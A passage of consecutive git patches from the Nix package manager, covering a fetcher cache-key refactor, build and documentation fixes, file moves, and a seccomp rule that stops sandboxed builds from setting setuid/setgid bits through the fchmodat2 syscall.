     return storePath;
 }
diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc
index ae4facc6738..d4ba1a91d21 100644
--- a/src/libfetchers/git-utils.cc
+++ b/src/libfetchers/git-utils.cc
@@ -456,15 +456,14 @@ struct GitRepoImpl : GitRepo, std::enable_shared_from_this<GitRepoImpl>
     {
         auto accessor = getAccessor(treeHash, false);
 
-        auto domain = "treeHashToNarHash";
-        fetchers::Attrs cacheKey({{"treeHash", treeHash.gitRev()}});
+        fetchers::Cache::Key cacheKey{"treeHashToNarHash", {{"treeHash", treeHash.gitRev()}}};
 
-        if (auto res = fetchers::getCache()->lookup(domain, cacheKey))
+        if (auto res = fetchers::getCache()->lookup(cacheKey))
             return Hash::parseAny(fetchers::getStrAttr(*res, "narHash"), HashAlgorithm::SHA256);
 
         auto narHash = accessor->hashPath(CanonPath::root);
 
-        fetchers::getCache()->upsert(domain, cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}}));
+        fetchers::getCache()->upsert(cacheKey, fetchers::Attrs({{"narHash", narHash.to_string(HashFormat::SRI, true)}}));
 
         return narHash;
     }
diff --git a/src/libfetchers/github.cc b/src/libfetchers/github.cc
index 4871449252f..7aa857dfe16 100644
--- a/src/libfetchers/github.cc
+++ b/src/libfetchers/github.cc
@@ -225,13 +225,11 @@ struct GitArchiveInputScheme : InputScheme
 
         auto cache = getCache();
 
-        auto treeHashDomain = "gitRevToTreeHash";
-        Attrs treeHashKey{{"rev", rev->gitRev()}};
-        auto lastModifiedDomain = "gitRevToLastModified";
-        Attrs lastModifiedKey{{"rev", rev->gitRev()}};
+        Cache::Key treeHashKey{"gitRevToTreeHash", {{"rev", rev->gitRev()}}};
+        Cache::Key lastModifiedKey{"gitRevToLastModified", {{"rev", rev->gitRev()}}};
 
-        if (auto treeHashAttrs = cache->lookup(treeHashDomain, treeHashKey)) {
-            if (auto lastModifiedAttrs = cache->lookup(lastModifiedDomain, lastModifiedKey)) {
+        if (auto treeHashAttrs = cache->lookup(treeHashKey)) {
+            if (auto lastModifiedAttrs = cache->lookup(lastModifiedKey)) {
                 auto treeHash = getRevAttr(*treeHashAttrs, "treeHash");
                 auto lastModified = getIntAttr(*lastModifiedAttrs, "lastModified");
                 if (getTarballCache()->hasObject(treeHash))
@@ -259,8 +257,8 @@ struct GitArchiveInputScheme : InputScheme
             .lastModified = lastModified
         };
 
-        cache->upsert(treeHashDomain, treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}});
-        cache->upsert(lastModifiedDomain, lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}});
+        cache->upsert(treeHashKey, Attrs{{"treeHash", tarballInfo.treeHash.gitRev()}});
+        cache->upsert(lastModifiedKey, Attrs{{"lastModified", (uint64_t) tarballInfo.lastModified}});
 
         #if 0
         if (upstreamTreeHash != tarballInfo.treeHash)
diff --git a/src/libfetchers/tarball.cc b/src/libfetchers/tarball.cc
index 285e2803c95..89ef31c7e04 100644
--- a/src/libfetchers/tarball.cc
+++ b/src/libfetchers/tarball.cc
@@ -23,14 +23,12 @@ DownloadFileResult downloadFile(
 {
     // FIXME: check store
 
-    auto domain = "file";
-
-    Attrs key({
+    Cache::Key key{"file", {{
         {"url", url},
         {"name", name},
-    });
+    }}};
 
-    auto cached = getCache()->lookupStorePath(domain, key, *store);
+    auto cached = getCache()->lookupStorePath(key, *store);
 
     auto useCached = [&]() -> DownloadFileResult
     {
@@ -94,9 +92,9 @@ DownloadFileResult downloadFile(
 
     /* Cache metadata for all URLs in the redirect chain. */
     for (auto & url : res.urls) {
-        key.insert_or_assign("url", url);
+        key.second.insert_or_assign("url", url);
         infoAttrs.insert_or_assign("url", *res.urls.rbegin());
-        getCache()->upsert(domain, key, *store, infoAttrs, *storePath);
+        getCache()->upsert(key, *store, infoAttrs, *storePath);
     }
 
     return {
@@ -111,12 +109,9 @@ DownloadTarballResult downloadTarball(
     const std::string & url,
     const Headers & headers)
 {
-    auto domain = "tarball";
-    Attrs cacheKey{
-        {"url", url},
-    };
+    Cache::Key cacheKey{"tarball", {{"url", url}}};
 
-    auto cached = getCache()->lookupExpired(domain, cacheKey);
+    auto cached = getCache()->lookupExpired(cacheKey);
 
     auto attrsToResult = [&](const Attrs & infoAttrs)
     {
@@ -175,8 +170,8 @@ DownloadTarballResult downloadTarball(
 
     /* Insert a cache entry for every URL in the redirect chain. */
     for (auto & url : res->urls) {
-        cacheKey.insert_or_assign("url", url);
-        getCache()->upsert(domain, cacheKey, infoAttrs);
+        cacheKey.second.insert_or_assign("url", url);
+        getCache()->upsert(cacheKey, infoAttrs);
     }
 
     // FIXME: add a cache entry for immutableUrl? That could allow
diff --git a/src/libfetchers/unix/git.cc b/src/libfetchers/unix/git.cc
index bb1bff7abab..1d7c719a637 100644
--- a/src/libfetchers/unix/git.cc
+++ b/src/libfetchers/unix/git.cc
@@ -427,36 +427,34 @@ struct GitInputScheme : InputScheme
 
     uint64_t getLastModified(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const
     {
-        auto domain = "gitLastModified";
-        Attrs key{{"rev", rev.gitRev()}};
+        Cache::Key key{"gitLastModified", {{"rev", rev.gitRev()}}};
 
         auto cache = getCache();
 
-        if (auto res = cache->lookup(domain, key))
+        if (auto res = cache->lookup(key))
             return getIntAttr(*res, "lastModified");
 
         auto lastModified = GitRepo::openRepo(repoDir)->getLastModified(rev);
 
-        cache->upsert(domain, key, {{"lastModified", lastModified}});
+        cache->upsert(key, {{"lastModified", lastModified}});
 
         return lastModified;
     }
 
     uint64_t getRevCount(const RepoInfo & repoInfo, const std::string & repoDir, const Hash & rev) const
     {
-        auto domain = "gitRevCount";
-        Attrs key{{"rev", rev.gitRev()}};
+        Cache::Key key{"gitRevCount", {{"rev", rev.gitRev()}}};
 
         auto cache = getCache();
 
-        if (auto revCountAttrs = cache->lookup(domain, key))
+        if (auto revCountAttrs = cache->lookup(key))
             return getIntAttr(*revCountAttrs, "revCount");
 
         Activity act(*logger, lvlChatty, actUnknown, fmt("getting Git revision count of '%s'", repoInfo.url));
 
         auto revCount = GitRepo::openRepo(repoDir)->getRevCount(rev);
 
-        cache->upsert(domain, key, Attrs{{"revCount", revCount}});
+        cache->upsert(key, Attrs{{"revCount", revCount}});
 
         return revCount;
     }
diff --git a/src/libfetchers/unix/mercurial.cc b/src/libfetchers/unix/mercurial.cc
index 42757f2db67..0dd1acf458f 100644
--- a/src/libfetchers/unix/mercurial.cc
+++ b/src/libfetchers/unix/mercurial.cc
@@ -224,17 +224,16 @@ struct MercurialInputScheme : InputScheme
 
         if (!input.getRef()) input.attrs.insert_or_assign("ref", "default");
 
-        auto revInfoDomain = "hgRev";
         auto revInfoKey = [&](const Hash & rev)
         {
             if (rev.algo != HashAlgorithm::SHA1)
                 throw Error("Hash '%s' is not supported by Mercurial. Only sha1 is supported.", rev.to_string(HashFormat::Base16, true));
 
-            return Attrs{
+            return Cache::Key{"hgRev", {
                 {"store", store->storeDir},
                 {"name", name},
                 {"rev", input.getRev()->gitRev()}
-            };
+            }};
         };
 
         auto makeResult = [&](const Attrs & infoAttrs, const StorePath & storePath) -> StorePath
@@ -246,20 +245,19 @@ struct MercurialInputScheme : InputScheme
         };
 
         /* Check the cache for the most recent rev for this URL/ref. */
-        auto refToRevDomain = "hgRefToRev";
-        Attrs refToRevKey{
+        Cache::Key refToRevKey{"hgRefToRev", {
             {"url", actualUrl},
             {"ref", *input.getRef()}
-        };
+        }};
 
         if (!input.getRev()) {
-            if (auto res = getCache()->lookupWithTTL(refToRevDomain, refToRevKey))
+            if (auto res = getCache()->lookupWithTTL(refToRevKey))
                 input.attrs.insert_or_assign("rev", getRevAttr(*res, "rev").gitRev());
         }
 
         /* If we have a rev, check if we have a cached store path. */
         if (auto rev = input.getRev()) {
-            if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(*rev), *store))
+            if (auto res = getCache()->lookupStorePath(revInfoKey(*rev), *store))
                 return makeResult(res->value, res->storePath);
         }
 
@@ -309,7 +307,7 @@ struct MercurialInputScheme : InputScheme
 
         /* Now that we have the rev, check the cache again for a
            cached store path. */
-        if (auto res = getCache()->lookupStorePath(revInfoDomain, revInfoKey(rev), *store))
+        if (auto res = getCache()->lookupStorePath(revInfoKey(rev), *store))
             return makeResult(res->value, res->storePath);
 
         Path tmpDir = createTempDir();
@@ -327,9 +325,9 @@ struct MercurialInputScheme : InputScheme
         });
 
         if (!origRev)
-            getCache()->upsert(refToRevDomain, refToRevKey, {{"rev", rev.gitRev()}});
+            getCache()->upsert(refToRevKey, {{"rev", rev.gitRev()}});
 
-        getCache()->upsert(revInfoDomain, revInfoKey(rev), *store, infoAttrs, storePath);
+        getCache()->upsert(revInfoKey(rev), *store, infoAttrs, storePath);
 
         return makeResult(infoAttrs, std::move(storePath));
     }

From dd19cce9c423192b79ef26b3f57418f7678bbff9 Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 17 Apr 2024 17:17:59 +0200
Subject: [PATCH 012/528] doc/external-api/local.mk: Rebuild when headers
 change

---
 doc/external-api/local.mk | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/external-api/local.mk b/doc/external-api/local.mk
index c739bdaf0ef..ae2b44db8f0 100644
--- a/doc/external-api/local.mk
+++ b/doc/external-api/local.mk
@@ -1,4 +1,4 @@
-$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg
+$(docdir)/external-api/html/index.html $(docdir)/external-api/latex: $(d)/doxygen.cfg src/lib*-c/*.h
 	mkdir -p $(docdir)/external-api
 	{ cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/external-api" ; } | doxygen -
 

From 0fade05e96229358192cd2b0c54895655d5bf70a Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Wed, 17 Apr 2024 17:28:30 +0200
Subject: [PATCH 013/528] doc/internal-api/local.mk: Rebuild when headers
 change

---
 doc/internal-api/local.mk | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doc/internal-api/local.mk b/doc/internal-api/local.mk
index bf2c4dedea1..be9b7bb55f4 100644
--- a/doc/internal-api/local.mk
+++ b/doc/internal-api/local.mk
@@ -1,4 +1,4 @@
-$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg
+$(docdir)/internal-api/html/index.html $(docdir)/internal-api/latex: $(d)/doxygen.cfg src/**/*.hh
 	mkdir -p $(docdir)/internal-api
 	{ cat $< ; echo "OUTPUT_DIRECTORY=$(docdir)/internal-api" ; } | doxygen -
 

From 21d9412ddc07341df0194a0301d88e41ab9cf84c Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Sun, 14 Apr 2024 12:28:37 -0400
Subject: [PATCH 014/528] Improve `local-overlay` docs in a few ways

In response to https://discourse.nixos.org/t/super-colliding-nix-stores/28462/24
---
 src/libstore/unix/local-overlay-store.md | 30 +++++++++++++++---------
 1 file changed, 19 insertions(+), 11 deletions(-)

diff --git a/src/libstore/unix/local-overlay-store.md b/src/libstore/unix/local-overlay-store.md
index cc310bc7f17..1e1a3d26c7b 100644
--- a/src/libstore/unix/local-overlay-store.md
+++ b/src/libstore/unix/local-overlay-store.md
@@ -16,6 +16,8 @@ The parts of a local overlay store are as follows:
 
 - **Lower store**:
 
+  > Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting.
+
   This is any store implementation that includes a store directory as part of the native operating system filesystem.
   For example, this could be a [local store], [local daemon store], or even another local overlay store.
 
@@ -28,13 +30,11 @@ The parts of a local overlay store are as follows:
   The lower store must not change while it is mounted as part of an overlay store.
   To ensure it does not, you might want to mount the store directory read-only (which then requires the [read-only] parameter to be set to `true`).
 
-  Specified with the [`lower-store`](#store-experimental-local-overlay-store-lower-store) setting.
-
   - **Lower store directory**:
 
-    This is the directory used/exposed by the lower store.
+    > Specified with `lower-store.real` setting.
 
-    Specified with `lower-store.real` setting.
+    This is the directory used/exposed by the lower store.
 
     As specified above, Nix requires the local store can only grow not change in other ways.
     Linux's OverlayFS in addition imposes the further requirement that this directory cannot change at all.
@@ -42,6 +42,9 @@ The parts of a local overlay store are as follows:
 
   - **Lower metadata source**:
 
+    > Not directly specified.
+    > A consequence of the `lower-store` setting, depending on the type of lower store chosen.
+
     This is abstract, just some way to read the metadata of lower store [store objects][store object].
     For example it could be a SQLite database (for the [local store]), or a socket connection (for the [local daemon store]).
 
@@ -51,36 +54,41 @@ The parts of a local overlay store are as follows:
 
 - **Upper almost-store**:
 
+  > Not directly specified.
+  > Instead the constituent parts are independently specified as described below.
+
   This is almost but not quite just a [local store].
   That is because taken in isolation, not as part of a local overlay store, by itself, it would appear corrupted.
   But combined with everything else as part of an overlay local store, it is valid.
 
   - **Upper layer directory**:
 
+    > Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting.
+
     This contains additional [store objects][store object]
     (or, strictly speaking, their [file system objects][file system object] that the local overlay store will extend the lower store with).
 
-    Specified with [`upper-layer`](#store-experimental-local-overlay-store-upper-layer) setting.
-
   - **Upper store directory**:
 
+    > Specified with the [`real`](#store-experimental-local-overlay-store-real) setting.
+    > This the same as the base local store setting, and can also be indirectly specified with the [`root`](#store-experimental-local-overlay-store-root) setting.
+
     This contains all the store objects from each of the two directories.
 
     The lower store directory and upper layer directory are combined via OverlayFS to create this directory.
     Nix doesn't do this itself, because it typically wouldn't have the permissions to do so, so it is the responsibility of the user to set this up first.
     Nix can, however, optionally check that that the OverlayFS mount settings appear as expected, matching Nix's own settings.
 
-    Specified with the [`real`](#store-experimental-local-overlay-store-real) setting.
-
   - **Upper SQLite database**:
 
+    > Not directly specified.
+    > The location of the database instead depends on the [`state`](#store-experimental-local-overlay-store-state) setting.
+    > It is is always `${state}/db`.
+
     This contains the metadata of all of the upper layer [store objects][store object] (everything beyond their file system objects), and also duplicate copies of some lower layer store object's metadta.
     The duplication is so the metadata for the [closure](@docroot@/glossary.md#gloss-closure) of upper layer [store objects][store object] can be found entirely within the upper layer.
     (This allows us to use the same SQL Schema as the [local store]'s SQLite database, as foreign keys in that schema enforce closure metadata to be self-contained in this way.)
 
-    The location of the database is directly specified, but depends on the [`state`](#store-experimental-local-overlay-store-state) setting.
-    It is is always `${state}/db`.
-
 [file system object]: @docroot@/store/file-system-object.md
 [store object]: @docroot@/store/store-object.md
 

From 0774e8ba33c060f56bad3ff696796028249e915a Mon Sep 17 00:00:00 2001
From: Alyssa Ross <hi@alyssa.is>
Date: Wed, 17 Apr 2024 21:51:59 +0200
Subject: [PATCH 015/528] Fix exportReferencesGraph when given store subpath

With Nix 2.3, it was possible to pass a subpath of a store path to
exportReferencesGraph:

	with import <nixpkgs> {};

	let
	  hello = writeShellScriptBin "hello" ''
	    echo ${toString builtins.currentTime}
	  '';
	in

	writeClosure [ "${hello}/bin/hello" ]

This regressed with Nix 2.4, with a very confusing error message, that
presumably indicates it was unintentional:

	error: path '/nix/store/3gl7kgjr4pwf03f0x70dgx9ln3bhl7zc-hello/bin/hello' is not in the Nix store
---
 src/libstore/parsed-derivations.cc | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/libstore/parsed-derivations.cc b/src/libstore/parsed-derivations.cc
index 72f45143d4a..a292819539c 100644
--- a/src/libstore/parsed-derivations.cc
+++ b/src/libstore/parsed-derivations.cc
@@ -186,7 +186,7 @@ std::optional<nlohmann::json> ParsedDerivation::prepareStructuredAttrs(Store & s
         for (auto i = e->begin(); i != e->end(); ++i) {
             StorePathSet storePaths;
             for (auto & p : *i)
-                storePaths.insert(store.parseStorePath(p.get<std::string>()));
+                storePaths.insert(store.toStorePath(p.get<std::string>()).first);
             json[i.key()] = pathInfoToJSON(store,
                 store.exportReferences(storePaths, inputPaths));
         }

From 6fa3656a3286d3e73a54277965a1b1ae8d34300d Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 17 Apr 2024 16:20:56 -0400
Subject: [PATCH 016/528] Make a few commands that were Unix-only no longer

Also clean up some more linux-specific (`setPersonality`) code in
alignment with recent best practices.
---
 src/libstore/{unix/build => linux}/personality.cc |  6 +-----
 src/libstore/{unix/build => linux}/personality.hh |  2 +-
 src/libstore/local.mk                             |  6 ++++++
 src/libstore/unix/build/local-derivation-goal.cc  |  6 ++++--
 src/nix/{unix => }/fmt.cc                         |  0
 src/nix/{unix => }/fmt.md                         |  0
 src/nix/{unix => }/run.cc                         | 14 +++++++++-----
 src/nix/{unix => }/run.hh                         |  0
 src/nix/{unix => }/run.md                         |  0
 src/nix/{unix => }/upgrade-nix.cc                 |  0
 src/nix/{unix => }/upgrade-nix.md                 |  0
 11 files changed, 21 insertions(+), 13 deletions(-)
 rename src/libstore/{unix/build => linux}/personality.cc (95%)
 rename src/libstore/{unix/build => linux}/personality.hh (80%)
 rename src/nix/{unix => }/fmt.cc (100%)
 rename src/nix/{unix => }/fmt.md (100%)
 rename src/nix/{unix => }/run.cc (97%)
 rename src/nix/{unix => }/run.hh (100%)
 rename src/nix/{unix => }/run.md (100%)
 rename src/nix/{unix => }/upgrade-nix.cc (100%)
 rename src/nix/{unix => }/upgrade-nix.md (100%)

diff --git a/src/libstore/unix/build/personality.cc b/src/libstore/linux/personality.cc
similarity index 95%
rename from src/libstore/unix/build/personality.cc
rename to src/libstore/linux/personality.cc
index 1a620175844..255d174a6cc 100644
--- a/src/libstore/unix/build/personality.cc
+++ b/src/libstore/linux/personality.cc
@@ -1,18 +1,15 @@
 #include "personality.hh"
 #include "globals.hh"
 
-#if __linux__
 #include <sys/utsname.h>
 #include <sys/personality.h>
-#endif
 
 #include <cstring>
 
-namespace nix {
+namespace nix::linux {
 
 void setPersonality(std::string_view system)
 {
-#if __linux__
         /* Change the personality to 32-bit if we're doing an
            i686-linux build on an x86_64-linux machine. */
         struct utsname utsbuf;
@@ -39,7 +36,6 @@ void setPersonality(std::string_view system)
            determinism. */
         int cur = personality(0xffffffff);
         if (cur != -1) personality(cur | ADDR_NO_RANDOMIZE);
-#endif
 }
 
 }
diff --git a/src/libstore/unix/build/personality.hh b/src/libstore/linux/personality.hh
similarity index 80%
rename from src/libstore/unix/build/personality.hh
rename to src/libstore/linux/personality.hh
index 91b730fab41..6a6376f8ff5 100644
--- a/src/libstore/unix/build/personality.hh
+++ b/src/libstore/linux/personality.hh
@@ -3,7 +3,7 @@
 
 #include <string>
 
-namespace nix {
+namespace nix::linux {
 
 void setPersonality(std::string_view system);
 
diff --git a/src/libstore/local.mk b/src/libstore/local.mk
index 6be748581a3..2e118f6cb2c 100644
--- a/src/libstore/local.mk
+++ b/src/libstore/local.mk
@@ -8,6 +8,9 @@ libstore_SOURCES := $(wildcard $(d)/*.cc $(d)/builtins/*.cc)
 ifdef HOST_UNIX
   libstore_SOURCES += $(wildcard $(d)/unix/*.cc $(d)/unix/builtins/*.cc $(d)/unix/build/*.cc)
 endif
+ifdef HOST_LINUX
+  libstore_SOURCES += $(wildcard $(d)/linux/*.cc)
+endif
 ifdef HOST_WINDOWS
   libstore_SOURCES += $(wildcard $(d)/windows/*.cc)
 endif
@@ -39,6 +42,9 @@ INCLUDE_libstore := -I $(d) -I $(d)/build
 ifdef HOST_UNIX
   INCLUDE_libstore += -I $(d)/unix
 endif
+ifdef HOST_LINUX
+  INCLUDE_libstore += -I $(d)/linux
+endif
 ifdef HOST_WINDOWS
   INCLUDE_libstore += -I $(d)/windows
 endif
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 99a91a7f199..33208a62222 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -14,7 +14,6 @@
 #include "topo-sort.hh"
 #include "callback.hh"
 #include "json-utils.hh"
-#include "personality.hh"
 #include "current-process.hh"
 #include "child.hh"
 #include "unix-domain-socket.hh"
@@ -52,6 +51,7 @@
 # endif
 # define pivot_root(new_root, put_old) (syscall(SYS_pivot_root, new_root, put_old))
 # include "cgroup.hh"
+# include "personality.hh"
 #endif
 
 #if __APPLE__
@@ -1957,7 +1957,9 @@ void LocalDerivationGoal::runChild()
         /* Close all other file descriptors. */
         closeMostFDs({STDIN_FILENO, STDOUT_FILENO, STDERR_FILENO});
 
-        setPersonality(drv->platform);
+#if __linux__
+        linux::setPersonality(drv->platform);
+#endif
 
         /* Disable core dumps by default. */
         struct rlimit limit = { 0, RLIM_INFINITY };
diff --git a/src/nix/unix/fmt.cc b/src/nix/fmt.cc
similarity index 100%
rename from src/nix/unix/fmt.cc
rename to src/nix/fmt.cc
diff --git a/src/nix/unix/fmt.md b/src/nix/fmt.md
similarity index 100%
rename from src/nix/unix/fmt.md
rename to src/nix/fmt.md
diff --git a/src/nix/unix/run.cc b/src/nix/run.cc
similarity index 97%
rename from src/nix/unix/run.cc
rename to src/nix/run.cc
index dfd8b643ce9..c456833029e 100644
--- a/src/nix/unix/run.cc
+++ b/src/nix/run.cc
@@ -5,15 +5,15 @@
 #include "shared.hh"
 #include "store-api.hh"
 #include "derivations.hh"
-#include "local-store.hh"
+#include "local-fs-store.hh"
 #include "finally.hh"
 #include "source-accessor.hh"
 #include "progress-bar.hh"
 #include "eval.hh"
-#include "build/personality.hh"
 
 #if __linux__
-#include <sys/mount.h>
+# include <sys/mount.h>
+# include "personality.hh"
 #endif
 
 #include <queue>
@@ -56,8 +56,10 @@ void runProgramInStore(ref<Store> store,
         throw SysError("could not execute chroot helper");
     }
 
+#if __linux__
     if (system)
-        setPersonality(*system);
+        linux::setPersonality(*system);
+#endif
 
     if (useSearchPath == UseSearchPath::Use)
         execvp(program.c_str(), stringsToCharPtrs(args).data());
@@ -277,8 +279,10 @@ void chrootHelper(int argc, char * * argv)
     writeFile("/proc/self/uid_map", fmt("%d %d %d", uid, uid, 1));
     writeFile("/proc/self/gid_map", fmt("%d %d %d", gid, gid, 1));
 
+#if __linux__
     if (system != "")
-        setPersonality(system);
+        linux::setPersonality(system);
+#endif
 
     execvp(cmd.c_str(), stringsToCharPtrs(args).data());
 
diff --git a/src/nix/unix/run.hh b/src/nix/run.hh
similarity index 100%
rename from src/nix/unix/run.hh
rename to src/nix/run.hh
diff --git a/src/nix/unix/run.md b/src/nix/run.md
similarity index 100%
rename from src/nix/unix/run.md
rename to src/nix/run.md
diff --git a/src/nix/unix/upgrade-nix.cc b/src/nix/upgrade-nix.cc
similarity index 100%
rename from src/nix/unix/upgrade-nix.cc
rename to src/nix/upgrade-nix.cc
diff --git a/src/nix/unix/upgrade-nix.md b/src/nix/upgrade-nix.md
similarity index 100%
rename from src/nix/unix/upgrade-nix.md
rename to src/nix/upgrade-nix.md

From 9c815db36681ac01ea7422725a0ac2e183e39b16 Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Wed, 17 Apr 2024 19:55:40 -0400
Subject: [PATCH 017/528] `file-descriptor.hh`: Avoid some Cism for better
 C++isms

- `reinterpret_cast` not C-style cast
- `using` not `typedef`
---
 src/libutil/file-descriptor.hh | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/src/libutil/file-descriptor.hh b/src/libutil/file-descriptor.hh
index 50201d8465e..84786e95a2f 100644
--- a/src/libutil/file-descriptor.hh
+++ b/src/libutil/file-descriptor.hh
@@ -17,13 +17,13 @@ struct Source;
 /**
  * Operating System capability
  */
-typedef
+using Descriptor =
 #if _WIN32
     HANDLE
 #else
     int
 #endif
-    Descriptor;
+    ;
 
 const Descriptor INVALID_DESCRIPTOR =
 #if _WIN32
@@ -41,7 +41,7 @@ const Descriptor INVALID_DESCRIPTOR =
 static inline Descriptor toDescriptor(int fd)
 {
 #ifdef _WIN32
-    return (HANDLE) _get_osfhandle(fd);
+    return reinterpret_cast<HANDLE>(_get_osfhandle(fd));
 #else
     return fd;
 #endif
@@ -56,7 +56,7 @@ static inline Descriptor toDescriptor(int fd)
 static inline int fromDescriptorReadOnly(Descriptor fd)
 {
 #ifdef _WIN32
-    return _open_osfhandle((intptr_t) fd, _O_RDONLY);
+    return _open_osfhandle(reinterpret_cast<intptr_t>(fd), _O_RDONLY);
 #else
     return fd;
 #endif

From ba6804518772e6afb403dd55478365d4b863c854 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 14 Apr 2024 14:10:23 +0200
Subject: [PATCH 018/528] libstore/local-derivation-goal: prohibit creating
 setuid/setgid binaries
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

With Linux kernel >=6.6 & glibc 2.39 a `fchmodat2(2)` is available that
isn't filtered away by the libseccomp sandbox.

Being able to use this to bypass that restriction has surprising results
for some builds such as lxc[1]:

> With kernel ≥6.6 and glibc 2.39, lxc's install phase uses fchmodat2,
> which slips through https://github.com/NixOS/nix/blob/9b88e5284608116b7db0dbd3d5dd7a33b90d52d7/src/libstore/build/local-derivation-goal.cc#L1650-L1663.
> The fixupPhase then uses fchmodat, which fails.
> With older kernel or glibc, setting the suid bit fails in the
> install phase, which is not treated as fatal, and then the
> fixup phase does not try to set it again.

Please note that there are still ways to bypass this sandbox[2] and this is
mostly a fix for the breaking builds.

This change works by creating a syscall filter for the `fchmodat2`
syscall (number 452 on most systems). The problem is that glibc 2.39
and seccomp 2.5.5 are needed to have the correct syscall number available
via `__NR_fchmodat2` / `__SNR_fchmodat2`, but this flake is still on
nixpkgs 23.11. To have this change everywhere and not dependent on the
glibc this package is built against, I added a header
"fchmodat2-compat.hh" that sets the syscall number based on the
architecture. On most platforms its 452 according to glibc with a few
exceptions:

    $ rg --pcre2 'define __NR_fchmodat2 (?!452)'
    sysdeps/unix/sysv/linux/x86_64/x32/arch-syscall.h
    58:#define __NR_fchmodat2 1073742276

    sysdeps/unix/sysv/linux/mips/mips64/n32/arch-syscall.h
    67:#define __NR_fchmodat2 6452

    sysdeps/unix/sysv/linux/mips/mips64/n64/arch-syscall.h
    62:#define __NR_fchmodat2 5452

    sysdeps/unix/sysv/linux/mips/mips32/arch-syscall.h
    70:#define __NR_fchmodat2 4452

    sysdeps/unix/sysv/linux/alpha/arch-syscall.h
    59:#define __NR_fchmodat2 562

I tested the change by adding the diff below as patch to
`pkgs/tools/package-management/nix/common.nix` & then built a VM from
the following config using my dirty nixpkgs master:

    {
      vm = { pkgs, ... }: {
        virtualisation.writableStore = true;
        virtualisation.memorySize = 8192;
        virtualisation.diskSize = 12 * 1024;
        nix.package = pkgs.nixVersions.nix_2_21;
      };
    }

The original issue can be triggered via

    nix build -L github:nixos/nixpkgs/d6dc19adbda4fd92fe9a332327a8113eaa843894#lxc \
      --extra-experimental-features 'nix-command flakes'

however the problem disappears with this patch applied.

Closes #10424

[1] https://github.com/NixOS/nixpkgs/issues/300635#issuecomment-2031073804
[2] https://github.com/NixOS/nixpkgs/issues/300635#issuecomment-2030844251
---
 src/libstore/linux/fchmodat2-compat.hh        | 34 +++++++++++++++++++
 .../unix/build/local-derivation-goal.cc       |  5 +++
 2 files changed, 39 insertions(+)
 create mode 100644 src/libstore/linux/fchmodat2-compat.hh

diff --git a/src/libstore/linux/fchmodat2-compat.hh b/src/libstore/linux/fchmodat2-compat.hh
new file mode 100644
index 00000000000..fd03b9ed5aa
--- /dev/null
+++ b/src/libstore/linux/fchmodat2-compat.hh
@@ -0,0 +1,34 @@
+/*
+ * Determine the syscall number for `fchmodat2`.
+ *
+ * On most platforms this is 452. Exceptions can be found on
+ * a glibc git checkout via `rg --pcre2 'define __NR_fchmodat2 (?!452)'`.
+ *
+ * The problem is that glibc 2.39 and libseccomp 2.5.5 are needed to
+ * get the syscall number. However, a Nix built against nixpkgs 23.11
+ * (glibc 2.38) should still have the issue fixed without depending
+ * on the build environment.
+ *
+ * To achieve that, the macros below try to determine the platform and
+ * set the syscall number which is platform-specific, but
+ * in most cases 452.
+ *
+ * TODO: remove this when 23.11 is EOL and the entire (supported) ecosystem
+ * is on glibc 2.39.
+ */
+
+#if HAVE_SECCOMP
+#  if defined(__alpha__)
+#    define NIX_SYSCALL_FCHMODAT2 562
+#  elif defined(__x86_64__) && SIZE_MAX == 0xFFFFFFFF // x32
+#    define NIX_SYSCALL_FCHMODAT2 1073742276
+#  elif defined(__mips__) && defined(__mips64) && defined(_ABIN64) // mips64/n64
+#    define NIX_SYSCALL_FCHMODAT2 5452
+#  elif defined(__mips__) && defined(__mips64) && defined(_ABIN32) // mips64/n32
+#    define NIX_SYSCALL_FCHMODAT2 6452
+#  elif defined(__mips__) && defined(_ABIO32) // mips32
+#    define NIX_SYSCALL_FCHMODAT2 4452
+#  else
+#    define NIX_SYSCALL_FCHMODAT2 452
+#  endif
+#endif // HAVE_SECCOMP
diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc
index 33208a62222..2d691143c08 100644
--- a/src/libstore/unix/build/local-derivation-goal.cc
+++ b/src/libstore/unix/build/local-derivation-goal.cc
@@ -37,6 +37,7 @@
 
 /* Includes required for chroot support. */
 #if __linux__
+# include "linux/fchmodat2-compat.hh"
 # include <sys/ioctl.h>
 # include <net/if.h>
 # include <netinet/ip.h>
@@ -1672,6 +1673,10 @@ void setupSeccomp()
         if (seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EPERM), SCMP_SYS(fchmodat), 1,
                 SCMP_A2(SCMP_CMP_MASKED_EQ, (scmp_datum_t) perm, (scmp_datum_t) perm)) != 0)
             throw SysError("unable to add seccomp rule");
+
